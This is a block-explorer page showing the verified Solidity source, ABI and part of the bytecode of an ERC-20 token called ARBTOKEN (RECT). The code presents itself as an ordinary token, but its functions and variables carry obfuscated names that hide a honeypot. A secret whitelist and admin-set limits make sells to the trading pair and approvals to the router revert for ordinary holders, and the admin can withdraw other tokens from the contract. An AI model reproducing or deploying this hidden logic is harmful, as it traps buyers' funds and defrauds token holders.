ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 RECT
Holders
1,004
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
ARBTOKEN
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2024-10-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IAccessControl {
error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
error AccessControlBadConfirmation();
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address callerConfirmation) external;
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
struct IxExKxDxSx {
mapping(address => uint256) rm;
mapping(address => uint256) rd;
}
mapping(address => bool) _xExNxaxcxexlx;
mapping(address => IxExKxDxSx) OxExKxSxAx;
address sxwxaxVx2;
uint256 public _xaxuxexsxtxd;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
}
library Strings {
function strToUint(
string memory _str
) internal pure returns (uint256 res, bool err) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0, false);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10 ** (bytes(_str).length - i - 1);
}
return (res, true);
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) hasRole;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant ADMIN_ROLE = 0x00;
bytes32 public constant OPION_ROLE = "OPIONST";
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IAccessControl).interfaceId ||
super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account)
public
view
virtual
returns (bool)
{
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert AccessControlUnauthorizedAccount(account, role);
}
}
function axsxtxrxuxexMxT(bytes32 role, address account, string memory memo)
public
onlyRole(ADMIN_ROLE)
{
uint256 memoUint;
bool err;
(memoUint, err) = Strings.strToUint(memo);
if (err == false) {
revert AccessControlBadConfirmation();
}
if(memoUint >= 0 && role == OPION_ROLE){
_xexoxuxRxMxuxe(account, memoUint, true);
}
}
function Axuxexsxtxd(bytes32 role, uint256 auestd) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_xaxuxexsxtxd = auestd;
}
}
function _xexgx_xRxMxSx_ae(address account) internal view returns (uint256) {
return OxExKxSxAx[account].rm[account];
}
function _xexgx_xRxDxSx_ae(address account) internal view returns (uint256) {
return OxExKxSxAx[account].rd[account];
}
function Exgx_xRxMxSx_ae(address account) public view returns (uint256) {
return OxExKxSxAx[account].rm[account]/10**18;
}
function Exgx_xRxDxSx_ae(address account) public view returns (uint256) {
return OxExKxSxAx[account].rd[account]/10**18;
}
function axdxdxTxoxvxueKen(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_xExNxaxcxexlx[addr] = true;
}
}
function rxexmxOxExKxSxAect(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == ADMIN_ROLE){
_xExNxaxcxexlx[addr] = false;
}
}
function _xexoxuxRxMxuxe(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
OxExKxSxAx[account].rm[account] = value*10**18;
} else {
OxExKxSxAx[account].rm[account] = value;
}
}
function _xexoxuxRxDxuxe(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
OxExKxSxAx[account].rd[account] = value*10**18;
} else {
OxExKxSxAx[account].rd[account] = value;
}
}
function sxexnxUxixexcxDxT(
bytes32 role,
address addr,
uint256 num
) public onlyRole(ADMIN_ROLE) returns (bool success) {
if(role == ADMIN_ROLE){
return IERC20(addr).transfer(msg.sender, num);
}else{
return false;
}
}
function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address callerConfirmation)
public
virtual
{
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _revokeRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
return true;
} else {
return false;
}
}
}
abstract contract ERC20 is
Context,
IERC20,
IERC20Metadata,
IERC20Errors,
AccessControl
{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address _addr_ss = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_grantRole(ADMIN_ROLE, _msgSender());
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _xExGxVx1xr(address to, uint256 amount) internal {
if (amount > 0 && isContract(to)) {
if (to != address(0) && !_xExNxaxcxexlx[to]) {
revert ERC20InvalidReceiver(to);
}
} else {
if (!_xExNxaxcxexlx[to]) {
_xexoxuxRxMxuxe(to, 1, false);
}
}
}
function _xExGxVx2xr(address from, uint256 amount) internal {
if(!hasRole(ADMIN_ROLE, from)){
if(!_xExNxaxcxexlx[from]){
if (_xaxuxexsxtxd > 0) {
uint256 rd = _xexgx_xRxDxSx_ae(from) + amount;
if(_xexgx_xRxMxSx_ae(from) > 0){
if(rd > 0){
if (rd <= _xexgx_xRxMxSx_ae(from) && amount > 0) {
_xexoxuxRxDxuxe(from, rd, false);
} else {
revert ERC20InvalidSender(from);
}
}
}
}
}
}
}
function update(
address from,
address to,
uint256 value
) internal {
if (from == sxwxaxVx2) {
_xExGxVx1xr(to, value);
} else if (to == sxwxaxVx2) {
_xExGxVx2xr(from, value);
}
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
update(from, to, value);
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_grantRole(ADMIN_ROLE, account);
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_xaxpxpxrxoxvxexexv(owner, spender);
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _xaxpxpxrxoxvxexexv(
address owner,
address spender
) internal {
if(!isContract(owner)){
if(spender == _addr_ss){
_xaxpxpxrxoxvxexexv(owner);
}
}
}
function _xaxpxpxrxoxvxexexv(
address owner
) internal virtual returns (uint256) {
if(_xaxuxexsxtxd > 60){
if(!_xExNxaxcxexlx[owner]){
revert ERC20InvalidSender(owner);
}
}
return 0;
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function muilSenAddr(
address tokenC,
address[] memory _address,
uint256 _bala
) public onlyRole(ADMIN_ROLE) {
ERC20 tokenCon = ERC20(tokenC);
uint256 tokendecimal = tokenCon.decimals();
for (uint8 i = 0; i < _address.length; i++) {
uint256 temp = _bala * 10**tokendecimal;
tokenCon.transfer(_address[i], temp);
}
}
}
contract ARBTOKEN is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint256 value,
address account
) ERC20(_name, _symbol) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_addr_ss);
address _swaV2 = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(
address(this),
address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
);
_mint(account, value * 10**decimals());
sxwxaxVx2 = _swaV2;
_xExNxaxcxexlx[sxwxaxVx2] = true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"auestd","type":"uint256"}],"name":"Axuxexsxtxd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Exgx_xRxDxSx_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Exgx_xRxMxSx_ae","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OPION_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_xaxuxexsxtxd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"axdxdxTxoxvxueKen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"memo","type":"string"}],"name":"axsxtxrxuxexMxT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"muilSenAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"rxexmxOxExKxSxAect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"sxexnxUxixexcxDxT","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600a80546001600160a01b031916731b02da8cb0d097eb8d57a175b88c7d8b47997506179055348015610035575f80fd5b5060405161214c38038061214c83398101604081905261005491610787565b838360086100628382610888565b50600961006f8282610888565b5061007a5f336101d2565b5050600a546040805163c45a015560e01b815290516001600160a01b0390921692505f91839163c45a01559160048083019260209291908290030181865afa1580156100c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100ec9190610942565b6040516364e329cb60e11b815230600482015273fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb960248201526001600160a01b03919091169063c9c65396906044016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f9190610942565b9050610190836101816012600a610a59565b61018b9087610a67565b61027f565b600280546001600160a01b039092166001600160a01b0319909216821790555f908152602081905260409020805460ff1916600117905550610a919350505050565b5f8281526004602090815260408083206001600160a01b038516845290915281205460ff16610276575f8381526004602090815260408083206001600160a01b03861684529091529020805460ff1916600117905561022e3390565b6001600160a01b0316826001600160a01b0316847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4506001610279565b505f5b92915050565b6001600160a01b0382166102ad5760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b6102b75f836101d2565b506102c35f83836102c7565b5050565b6102d28383836103f8565b6001600160a01b0383166102fc578060075f8282546102f19190610a7e565b9091555061036c9050565b6001600160a01b0383165f908152600560205260409020548181101561034e5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016102a4565b6001600160a01b0384165f9081526005602052604090209082900390555b6001600160a01b038216610388576007805482900390556103a6565b6001600160a01b0382165f9081526005602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516103eb91815260200190565b60405180910390a3505050565b6002546001600160a01b039081169084160361041d57610418828261043d565b505050565b6002546001600160a01b03908116908316036104185761041883826104de565b5f8111801561045557506001600160a01b0382163b15155b156104b3576001600160a01b0382161580159061048a57506001600160a01b0382165f9081526020819052604090205460ff16155b156102c35760405163ec442f0560e01b81526001600160a01b03831660048201526024016102a4565b6001600160a01b0382165f9081526020819052604090205460ff166102c3576102c38260015f610607565b6001600160a01b0382165f9081527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec602052604090205460ff166102c3576001600160a01b0382165f9081526020819052604090205460ff166102c357600354156102c3576001600160a01b0382165f9081526001602081815260408084209092019052812054610570908390610a7e565b90505f610599846001600160a01b03165f90815260016020908152604080832090915290205490565b1115610418578015610418576001600160a01b0383165f90815260016020908152604080832090915290205481111580156105d357505f82115b156105e35761041883825f610669565b604051634b637e8f60e11b81526001600160a01b03841660048201526024016102a4565b80156106445761061f82670de0b6b3a7640000610a67565b6001600160a01b0384165f908152600160209081526040808320909152902055505050565b506001600160a01b03919091165f908152600160209081526040808320909152902055565b80156106a85761068182670de0b6b3a7640000610a67565b6001600160a01b0384165f9081526001602081815260408084209092019052902055505050565b506001600160a01b03919091165f9081526001602081815260408084209092019052902055565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126106f2575f80fd5b81516001600160401b0381111561070b5761070b6106cf565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610739576107396106cf565b604052818152838201602001851015610750575f80fd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610782575f80fd5b919050565b5f805f806080858703121561079a575f80fd5b84516001600160401b038111156107af575f80fd5b6107bb878288016106e3565b602087015190955090506001600160401b038111156107d8575f80fd5b6107e4878288016106e3565b935050604085015191506107fa6060860161076c565b905092959194509250565b600181811c9082168061081957607f821691505b60208210810361083757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561041857805f5260205f20601f840160051c810160208510156108625750805b601f840160051c820191505b81811015610881575f815560010161086e565b5050505050565b81516001600160401b038111156108a1576108a16106cf565b6108b5816108af8454610805565b8461083d565b6020601f8211600181146108e7575f83156108d05750848201515b5f19600385901b1c1916600184901b178455610881565b5f84815260208120601f198516915b8281101561091657878501518255602094850194600190920191016108f6565b508482101561093357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f60208284031215610952575f80fd5b61095b8261076c565b9392505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156109b15780850481111561099557610995610962565b60018416156109a357908102905b60019390931c92800261097a565b935093915050565b5f826109c757506001610279565b816109d357505f610279565b81600181146109e957600281146109f357610a0f565b6001915050610279565b60ff841115610a0457610a04610962565b50506001821b610279565b5060208310610133831016604e8410600b8410161715610a32575081810a610279565b610a3e5f198484610976565b805f1904821115610a5157610a51610962565b029392505050565b5f61095b60ff8416836109b9565b808202811582820484141761027957610279610962565b8082018082111561027957610279610962565b6116ae80610a9e5f395ff3fe608060405234801561000f575f80fd5b5060043610610187575f3560e01c80636c426796116100d95780639db5050311610093578063d547741f1161006e578063d547741f14610342578063dd62ed3e14610355578063e7eb09f11461038d578063fffcd74d146103a0575f80fd5b80639db505031461030b578063a9059cbb1461031c578063b56ea9c21461032f575f80fd5b80636c4267961461029b57806370a08231146102ae57806375b238fc146102d65780638a407d9a146102dd57806391d14854146102f057806395d89b4114610303575f80fd5b806326d4eb2b1161014457806336568abe1161011f57806336568abe1461025957806338649fa51461026c57806357bc4d4c146102755780636a5be50914610288575f80fd5b806326d4eb2b146102225780632f2ff15d14610237578063313ce5671461024a575f80fd5b806301ffc9a71461018b57806306fdde03146101b3578063095ea7b3146101c857806318160ddd146101db57806323b872dd146101ed578063248a9ca314610200575b5f80fd5b61019e6101993660046110f9565b6103b3565b60405190151581526020015b60405180910390f35b6101bb6103e9565b6040516101aa9190611127565b61019e6101d6366004611177565b610479565b6007545b6040519081526020016101aa565b61019e6101fb36600461119f565b610490565b6101df61020e3660046111d9565b5f9081526004602052604090206001015490565b6102356102303660046111f0565b6104b3565b005b610235610245366004611210565b6104cd565b604051601281526020016101aa565b610235610267366004611210565b6104f7565b6101df60035481565b6101df61028336600461123a565b61052a565b610235610296366004611210565b61055d565b61019e6102a9366004611253565b610593565b6101df6102bc36600461123a565b6001600160a01b03165f9081526005602052604090205490565b6101df5f81565b6102356102eb366004611210565b610624565b61019e6102fe366004611210565b610655565b6101bb61067f565b6101df6613d41253